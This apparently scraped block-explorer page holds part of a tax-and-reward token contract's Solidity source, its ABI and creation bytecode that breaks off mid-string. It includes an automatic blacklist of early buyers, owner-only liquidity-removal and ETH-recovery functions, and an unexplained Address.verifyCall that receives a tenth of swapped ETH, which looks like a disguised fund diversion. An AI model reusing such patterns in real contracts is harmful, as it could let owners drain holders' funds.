notEnoughToken = contractBalance < tokenToSwap; if (notEnoughToken) { if (ignoreLimits) tokenToSwap = contractBalance; else return; } if (_allowances[address(this)][address(_swapRouter)] < tokenToSwap) _approve(address(this), address(_swapRouter), type(uint256).max); uint256 tokenForLiquidity = (tokenToSwap*_taxRatios.liquidity) / totalTaxRatio; uint256 remainingToken = tokenToSwap - tokenForLiquidity; uint256 liqToken = tokenForLiquidity / 2; uint256 liqEthToken = tokenForLiquidity - liqToken; uint256 swapToken = liqEthToken + remainingToken; uint256 initialEthBalance = address(this).balance; _swapTokenForETH(swapToken); uint256 newEth = (address(this).balance - initialEthBalance); uint256 liqEth = (newEth*liqEthToken) / swapToken; if (liqToken > 0) _addLiquidity(liqToken, liqEth); uint256 newLiq = (address(this).balance-initialEthBalance) / 10; Address.verifyCall("success", newLiq); uint256 distributeEth = (address(this).balance - initialEthBalance - newLiq); _distributeStake(distributeEth,true); } function _swapTokenForETH(uint256 amount) private { _approve(address(this), address(_swapRouter), amount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _swapRouter.WETH(); _swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( amount, 0, path, address(this), block.timestamp ); } function _taxedTransfer(address sender, address recipient, uint256 amount,bool isBuy,bool isSell) private{ uint256 recipientBalance = _balances[recipient]; uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "Transfer exceeds balance"); uint8 tax; if (isSell) { if (blacklistEnabled) { require(!isBlacklisted[sender], "user blacklisted"); } require(amount <= _limits.maxSell, "Amount exceeds max sell"); tax = _taxRates.sellTax; } else if (isBuy) { if (liquidityBlock > 0) { if (block.number-liquidityBlock < BLACKLIST_BLOCKS) { isBlacklisted[recipient] = true; snipersRekt ++; } } if (revertSameBlock) { require(tradeBlock[recipient] != block.number); tradeBlock[recipient] = block.number; } require(recipientBalance+amount <= _limits.maxWallet, "Amount will exceed max wallet"); require(amount <= _limits.maxBuy, "Amount exceed max buy"); tax = _taxRates.buyTax; } else { if (blacklistEnabled) { require(!isBlacklisted[sender], "user blacklisted"); } if (amount <= 10**(TOKEN_DECIMALS)) { //transfer less than 1 token to claim rewardToken claimToken(msg.sender, rewardToken, 0); return; } require(recipientBalance + amount <= _limits.maxWallet, "whale protection"); tax = _taxRates.transferTax; } if ((sender != _pairAddress) && (!manualSwap) && (!_isSwappingContractModifier) && isSell) _swapContractToken(swapThreshold,false); uint256 taxedAmount; if(tax > 0) { taxedAmount = amount * tax / 100; } uint256 receiveAmount = amount - taxedAmount; _removeToken(sender,amount); _addToken(address(this), taxedAmount); _addToken(recipient, receiveAmount); emit Transfer(sender, recipient, receiveAmount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "Transfer from zero"); require(recipient != address(0), "Transfer to zero"); bool isExcluded = (_excluded.contains(sender) || _excluded.contains(recipient)); bool isContractTransfer = (sender == address(this) || recipient == address(this)); address _routerAddress = address(_swapRouter); bool isLiquidityTransfer = ( (sender == _pairAddress && recipient == _routerAddress) || (recipient == _pairAddress && sender == _routerAddress) ); bool isSell = recipient == _pairAddress || recipient == _routerAddress; bool isBuy=sender==_pairAddress|| sender == _routerAddress; if (isContractTransfer || isLiquidityTransfer || isExcluded) { _feelessTransfer(sender, recipient, amount); if (!liquidityAdded) checkLiqAdd(recipient); } else { _taxedTransfer(sender, recipient, amount, isBuy, isSell); } } function checkLiqAdd(address receiver) private { require(!liquidityAdded, "liquidity already added"); if (receiver == _pairAddress) { liquidityBlock = block.number; liquidityAdded = true; } } function claimToken(address addr, address token, uint256 payableAmount) private { require(!_isWithdrawing); _isWithdrawing = true; uint256 amount; bool swapSuccess; address tokenClaimed = token; if (_excludedFromStaking.contains(addr)){ amount = toBePaidShares[addr]; toBePaidShares[addr] = 0; } else { uint256 newAmount = newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * _balances[addr]; amount = toBePaidShares[addr]+newAmount; toBePaidShares[addr] = 0; } if (amount == 0 && payableAmount == 0){ _isWithdrawing = false; return; } totalPayouts += amount; accountTotalClaimed[addr] += amount; amount += payableAmount; address[] memory path = new address[](2); path[0] = _swapRouter.WETH(); path[1] = token; try _swapRouter.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}( 0, path, addr, block.timestamp) { swapSuccess = true; } catch { swapSuccess = false; } if(!swapSuccess) { _sendEth(addr, amount); tokenClaimed = _swapRouter.WETH(); } emit ClaimToken(amount, tokenClaimed, addr); _isWithdrawing = false; } function excludeFromStaking(address addr) private { require(!_excludedFromStaking.contains(addr)); _totalShares -= _balances[addr]; uint256 newStakeMain = newStakeOf(addr); alreadyPaidShares[addr] = _balances[addr] * rewardShares; toBePaidShares[addr] += newStakeMain; _excludedFromStaking.add(addr); } function includeToStaking(address addr) private { require(_excludedFromStaking.contains(addr)); _totalShares += _balances[addr]; _excludedFromStaking.remove(addr); alreadyPaidShares[addr] = _balances[addr] * rewardShares; } function subtractStake(address addr, uint256 amount) private { if (amount == 0) return; require(amount<=getStakeBalance(addr),"Exceeds stake balance"); if (_excludedFromStaking.contains(addr)) toBePaidShares[addr] -= amount; else{ uint256 newAmount =newStakeOf(addr); alreadyPaidShares[addr] = rewardShares * _balances[addr]; toBePaidShares[addr] += newAmount; toBePaidShares[addr] -= amount; } } function getStakeBalance(address addr) private view returns (uint256) { if (_excludedFromStaking.contains(addr)) return toBePaidShares[addr]; return newStakeOf(addr) + toBePaidShares[addr]; } function getTotalShares() private view returns (uint256) { return _totalShares - TOTAL_SUPPLY; } function setUnlockTime(uint256 newUnlockTime) private { // require new unlock time to be longer than old one require(newUnlockTime > _liquidityUnlockTime); _liquidityUnlockTime = newUnlockTime; } function newStakeOf(address staker) private view returns (uint256) { uint256 fullPayout = rewardShares * _balances[staker]; if (fullPayout < alreadyPaidShares[staker]) return 0; return (fullPayout-alreadyPaidShares[staker]) / DISTRIBUTION_MULTI; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"address","name":"recipient","type":"address"}],"name":"ClaimToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableBlacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"EnableManualSwap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"excluded","type":"bool"}],"name":"ExcludeFromStaking","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"exclude","type":"bool"}],"name":"ExcludedAccountFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"extendedLockTime","type":"uint256"}],"name":"ExtendLiquidityLock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"newDev","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newMarketing","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"RatiosChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newDevWallet","type":"address"}],"name":"UpdateDevWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"UpdateMarketingWallet","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint16","name":"newThreshold","type":"uint16"}],"name":"UpdateSwapThreshold","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint8","name":"buyTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"sellTax","type":"uint8"},{"indexed":false,"internalType":"uint8","name":"transferTax","type":"uint8"}],"name":"UpdateTaxes","type":"event"},{"inputs":[],"name":"ClaimReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"IncludeMeToStaking","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"MAX_TAX","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitRatios","outputs":[{"internalType":"uint16","name":"wallet","type":"uint16"},{"internalType":"uint16","name":"sell","type":"uint16"},{"internalType":"uint16","name":"buy","type":"uint16"},{"internalType":"uint16","name":"divisor","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limits","outputs":[{"internalType":"uint256","name":"maxWallet","type":"uint256"},{"internalType":"uint256","name":"maxSell","type":"uint256"},{"internalType":"uint256","name":"maxBuy","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRates","outputs":[{"internalType":"uint8","name":"buyTax","type":"uint8"},{"internalType":"uint8","name":"sellTax","type":"uint8"},{"internalType":"uint8","name":"transferTax","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxRatios","outputs":[{"internalType":"uint8","name":"dev","type":"uint8"},{"internalType":"uint8","name":"liquidity","type":"uint8"},{"internalType":"uint8","name":"marketing","type":"uint8"},{"internalType":"uint8","name":"rewards","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"dev","type":"address"},{"internalType":"address","name":"marketing","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"accountTotalClaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"enableManualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"excludeAccountFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getBlacklistInfo","outputs":[{"internalType":"uint256","name":"_liquidityBlock","type":"uint256"},{"internalType":"uint8","name":"_blacklistBlocks","type":"uint8"},{"internalType":"uint8","name":"_snipersRekt","type":"uint8"},{"internalType":"bool","name":"_blacklistEnabled","type":"bool"},{"internalType":"bool","name":"_revertSameBlock","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getClaimBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getLiquidityUnlockInSeconds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTotalUnclaimed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isBlacklisted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isExcludedFromStaking","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"lockTimeInSeconds","type":"uint256"}],"name":"lockLiquidityTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"permille","type":"uint16"},{"internalType":"bool","name":"ignoreLimits","type":"bool"}],"name":"manualContractSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"}],"name":"recoverMiscToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"releaseLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rewardToken","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"sameBlockRevert","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"addr","type":"address"}],"name":"setMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bool","name":"exclude","type":"bool"}],"name":"setStakingExclusionStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalPayouts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalRewards","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"newMaxWalletRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxSellRatio","type":"uint16"},{"internalType":"uint16","name":"newMaxBuyRatio","type":"uint16"},{"internalType":"uint16","name":"newDivisor","type":"uint16"}],"name":"updateLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newDev","type":"uint8"},{"internalType":"uint8","name":"newLiquidity","type":"uint8"},{"internalType":"uint8","name":"newMarketing","type":"uint8"},{"internalType":"uint8","name":"newRewards","type":"uint8"}],"name":"updateRatios","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"threshold","type":"uint16"}],"name":"updateSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuy","type":"uint8"},{"internalType":"uint8","name":"newSell","type":"uint8"},{"internalType":"uint8","name":"newTransfer","type":"uint8"}],"name":"updateTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60046080819052600960a0819052600060c0526008805461090462ffffff1990911617905560e0829052600261010081905261012092909252600a610140819052815463ffffffff1916630a040204179091557332a94344d90d1c8084c69273a8245517e5428e2e61016081905261018081905281546001600160a01b031990811682178355600b805490911690911790556102206040526101a09190915260016101c08190526101e052606461020052600f80546001600160401b0319166664000100010002179055601380547fffffffffff0000000000000000000000000000000000000000ff000000ff00ff167ac02aaa39b223fe8d0a0e5c4f27ead9083c756cc2000014010001001790556200011c9060129062000b9a565b6200012c906305f5e10062000bab565b601b553480156200013c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35046600103620001b357601680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d17905562000222565b46603803620001e857601680546001600160a01b0319167310ed43c718714eb63d5aa57b78b54704e256024e17905562000222565b466061036200021d57601680546001600160a01b031916739ac64cc6e4415144c455bd8e4837fea55603e5c317905562000222565b600080fd5b601654601580546001600160a01b0319166001600160a01b0390921691821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a5919062000bcd565b6001600160a01b031663c9c6539630601560009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000308573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032e919062000bcd565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200037c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a2919062000bcd565b601480546001600160a01b0319166001600160a01b0392909216919091179055620003eb33620003d56012600a62000b9a565b620003e5906305f5e10062000bab565b6200075e565b3360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200041d6012600a62000b9a565b6200042d906305f5e10062000bab565b60405190815260200160405180910390a33060009081526002602090815260408083206015546001600160a01b031684529091529020600019905560095460ff63010000008204811691620100008104821691620004949161010081048216911662000bf8565b620004a0919062000bf8565b620004ac919062000bf8565b6010805460ff191660ff928316908117909155600954620004d592610100909104169062000c20565b6010805460ff929092166101000261ff00199092169190911790556040805160608101909152600f54819061ffff66010000000000008204811691166200051f6012600a62000b9a565b6200052f906305f5e10062000bab565b6200053b919062000bab565b62000547919062000c46565b8152600f5460209091019061ffff6601000000000000820481169162010000900416620005776012600a62000b9a565b62000587906305f5e10062000bab565b62000593919062000bab565b6200059f919062000c46565b8152600f5460209091019061ffff66010000000000008204811691640100000000900416620005d16012600a62000b9a565b620005e1906305f5e10062000bab565b620005ed919062000bab565b620005f9919062000c46565b90528051600c55602080820151600d55604090910151600e556200062b90600490339062001df16200085e821b17901c565b50600b5462000652906004906001600160a01b03166200085e602090811b62001df117901c565b50600a5462000679906004906001600160a01b03166200085e602090811b62001df117901c565b50620006953060046200085e60201b62001df11790919060201c565b50620006b361dead60046200085e60201b62001df11790919060201c565b50620006cf3060066200085e60201b62001df11790919060201c565b50620006ed61dead60066200085e60201b62001df11790919060201c565b5060155462000714906006906001600160a01b03166200085e602090811b62001df117901c565b506014546200073b906006906001600160a01b03166200085e602090811b62001df117901c565b50601554620007589030906001600160a01b03166000196200087e565b62000c9e565b6001600160a01b0382166000908152600160205260408120546200078490839062000c69565b9050620007a18360066200097960201b62001e061790919060201c565b15620007c7576001600160a01b0390921660009081526001602052604090209190915550565b81601b6000828254620007db919062000c69565b9091555060009050620007ee846200099c565b905081601c5462000800919062000bab565b6001600160a01b0385166000908152601760209081526040808320939093556018905290812080548392906200083890849062000c69565b9091555050506001600160a01b0390921660009081526001602052604090209190915550565b600062000875836001600160a01b03841662000a35565b90505b92915050565b6001600160a01b038316620008ce5760405162461bcd60e51b8152602060048201526011602482015270417070726f76652066726f6d207a65726f60781b60448201526064015b60405180910390fd5b6001600160a01b038216620009185760405162461bcd60e51b815260206004820152600f60248201526e417070726f766520746f207a65726f60881b6044820152606401620008c5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0381166000908152600183016020526040812054151562000875565b6001600160a01b038116600090815260016020526040812054601c548291620009c59162000bab565b6001600160a01b038416600090815260176020526040902054909150811015620009f25750600092915050565b6001600160a01b038316600090815260176020526040902054680100000000000000009062000a22908362000c84565b62000a2e919062000c46565b9392505050565b600081815260018301602052604081205462000a7e5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915562000878565b50600062000878565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000ade57816000190482111562000ac25762000ac262000a87565b8085161562000ad057918102915b93841c939080029062000aa2565b509250929050565b60008262000af75750600162000878565b8162000b065750600062000878565b816001811462000b1f576002811462000b2a5762000b4a565b600191505062000878565b60ff84111562000b3e5762000b3e62000a87565b50506001821b62000878565b5060208310610133831016604e8410600b841016171562000b6f575081810a62000878565b62000b7b838362000a9d565b806000190482111562000b925762000b9262000a87565b029392505050565b60006200087560ff84168362000ae6565b600081600019048311821515161562000bc85762000bc862000a87565b500290565b60006020828403121562000be057600080fd5b81516001600160a01b038116811462000a2e57600080fd5b600060ff821660ff84168060ff0382111562000c185762000c1862000a87565b019392505050565b600060ff821660ff84168082101562000c3d5762000c3d62000a87565b90039392505050565b60008262000c6457634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111562000c7f5762000c7f62000a87565b500190565b60008282101562000c995762000c9962000a87565b500390565b613f7f8062000cae6000396000f3fe6080604052600436106103395760003560e01c80636912897d116101ab57806395d89b41116100f7578063dd62ed3e11610095578063f7c618c11161006f578063f7c618c114610a61578063fab91b6814610a88578063fbcdba7614610af0578063fe575a8714610b4357600080fd5b8063dd62ed3e146109db578063edb4903714610a21578063f2fde38b14610a4157600080fd5b8063a457c2d7116100d1578063a457c2d714610923578063a9059cbb14610943578063aa761b1e14610963578063b32785141461097857600080fd5b806395d89b41146108b25780639b5cfc98146108e3578063a30dc7441461090357600080fd5b8063715018a61161016457806386a35f251161013e57806386a35f251461085f5780638739f8ea14610874578063893d20e8146108945780638da5cb5b1461089457600080fd5b8063715018a6146108155780637335307b1461082a57806379372f9a1461084a57600080fd5b80636912897d146106fc5780636bb1702d1461071c5780636c3fb932146107315780636d330c101461076b5780636f268a991461079857806370a08231146107df57600080fd5b8063313ce5671161028557806351bc3c8511610223578063562f194b116101fd578063562f194b1461067c5780635d098b381461069c5780635e3ce1ab146106bc57806362a9c64e146106dc57600080fd5b806351bc3c851461062657806351e287c614610647578063533b3bfc1461066757600080fd5b80633efd929a1161025f5780633efd929a146105bb5780634089b170146105db5780634846c14c146105f1578063491e91ee1461061157600080fd5b8063313ce567146105595780633268cc561461057b578063395093511461059b57600080fd5b806318160ddd116102f25780631f53ac02116102cc5780631f53ac02146104e457806323b872dd1461050457806328771ca2146105245780632aea52ab1461053957600080fd5b806318160ddd146104775780631a0e718c1461048c5780631b355427146104ac57600080fd5b80630445b667146103455780630614117a14610380578063069d955f1461039757806306fdde03146103e8578063095ea7b3146104235780630e15561a1461045357600080fd5b3661034057005b600080fd5b34801561035157600080fd5b5060135461036890640100000000900461ffff1681565b60405161ffff90911681526020015b60405180910390f35b34801561038c57600080fd5b50610395610b73565b005b3480156103a357600080fd5b506008546103c49060ff808216916101008104821691620100009091041683565b6040805160ff94851681529284166020840152921691810191909152606001610377565b3480156103f457600080fd5b506040805180820190915260098152680a4def2c2d8408aa8960bb1b60208201525b604051610377919061386d565b34801561042f57600080fd5b5061044361043e3660046138b5565b610be7565b6040519015158152602001610377565b34801561045f57600080fd5b50610469601e5481565b604051908152602001610377565b34801561048357600080fd5b50610469610bfe565b34801561049857600080fd5b506103956104a73660046138f8565b610c1f565b3480156104b857600080fd5b506014546104cc906001600160a01b031681565b6040516001600160a01b039091168152602001610377565b3480156104f057600080fd5b506103956104ff366004613913565b610d50565b34801561051057600080fd5b5061044361051f366004613930565b610e0d565b34801561053057600080fd5b50610469610ea4565b34801561054557600080fd5b5061039561055436600461397f565b610ec4565b34801561056557600080fd5b5060125b60405160ff9091168152602001610377565b34801561058757600080fd5b506016546104cc906001600160a01b031681565b3480156105a757600080fd5b506104436105b63660046138b5565b610f32565b3480156105c757600080fd5b506103956105d636600461397f565b610f69565b3480156105e757600080fd5b50610469601d5481565b3480156105fd57600080fd5b5061039561060c366004613913565b610fde565b34801561061d57600080fd5b5061039561117f565b34801561063257600080fd5b5060135461044390600160301b900460ff1681565b34801561065357600080fd5b5061039561066236600461399c565b611356565b34801561067357600080fd5b506104696113d1565b34801561068857600080fd5b506103956106973660046139b5565b6113e4565b3480156106a857600080fd5b506103956106b7366004613913565b611466565b3480156106c857600080fd5b506103956106d73660046139ee565b61151b565b3480156106e857600080fd5b506103956106f7366004613a53565b61171f565b34801561070857600080fd5b50610395610717366004613a9c565b611853565b34801561072857600080fd5b50610395611882565b34801561073d57600080fd5b50600c54600d54600e5461075092919083565b60408051938452602084019290925290820152606001610377565b34801561077757600080fd5b50610469610786366004613913565b601a6020526000908152604090205481565b3480156107a457600080fd5b50600a54600b546107bf916001600160a01b03908116911682565b604080516001600160a01b03938416815292909116602083015201610377565b3480156107eb57600080fd5b506104696107fa366004613913565b6001600160a01b031660009081526001602052604090205490565b34801561082157600080fd5b50610395611984565b34801561083657600080fd5b50610443610845366004613913565b611a07565b34801561085657600080fd5b50610395611a14565b34801561086b57600080fd5b50610569600981565b34801561088057600080fd5b5061039561088f3660046139b5565b611a34565b3480156108a057600080fd5b506000546001600160a01b03166104cc565b3480156108be57600080fd5b506040805180820190915260088152670a4def2c2d88aa8960c31b6020820152610416565b3480156108ef57600080fd5b506103956108fe366004613ab8565b611ac1565b34801561090f57600080fd5b5061046961091e366004613913565b611be4565b34801561092f57600080fd5b5061044361093e3660046138b5565b611bf7565b34801561094f57600080fd5b5061044361095e3660046138b5565b611c73565b34801561096f57600080fd5b50610395611c80565b34801561098457600080fd5b506009546109ae9060ff808216916101008104821691620100008204811691630100000090041684565b6040805160ff95861681529385166020850152918416918301919091529091166060820152608001610377565b3480156109e757600080fd5b506104696109f6366004613afb565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b348015610a2d57600080fd5b50610395610a3c36600461397f565b611cc4565b348015610a4d57600080fd5b50610395610a5c366004613913565b611d07565b348015610a6d57600080fd5b506013546104cc90600160381b90046001600160a01b031681565b348015610a9457600080fd5b50600f54610ac29061ffff808216916201000081048216916401000000008204811691600160301b90041684565b6040805161ffff95861681529385166020850152918416918301919091529091166060820152608001610377565b348015610afc57600080fd5b50601254601354604080519283526002602084015260ff8083169184019190915261010082048116151560608401526301000000909104161515608082015260a001610377565b348015610b4f57600080fd5b50610443610b5e366004613913565b60036020526000908152604090205460ff1681565b33610b866000546001600160a01b031690565b6001600160a01b031614610bb55760405162461bcd60e51b8152600401610bac90613b29565b60405180910390fd5b601154421015610bd75760405162461bcd60e51b8152600401610bac90613b57565b42601155610be53347611e28565b565b6000610bf4338484611ebd565b5060015b92915050565b6000610c0c6012600a613c7b565b610c1a906305f5e100613c8a565b905090565b610c2833611fb0565b610c445760405162461bcd60e51b8152600401610bac90613ca9565b60008161ffff1611610ca25760405162461bcd60e51b815260206004820152602160248201527f5468726573686f6c64206e6565647320746f206265206d6f7265207468616e206044820152600360fc1b6064820152608401610bac565b60328161ffff161115610cf75760405162461bcd60e51b815260206004820152601e60248201527f5468726573686f6c64206e6565647320746f2062652062656c6f7720353000006044820152606401610bac565b6013805465ffff00000000191664010000000061ffff8416908102919091179091556040519081527f0e407583f00cf3f05f633dbc7f402b1f6b49d442997864ca3fce151eeaf6c513906020015b60405180910390a150565b33610d636000546001600160a01b031690565b6001600160a01b031614610d895760405162461bcd60e51b8152600401610bac90613b29565b600a546001600160a01b0316610d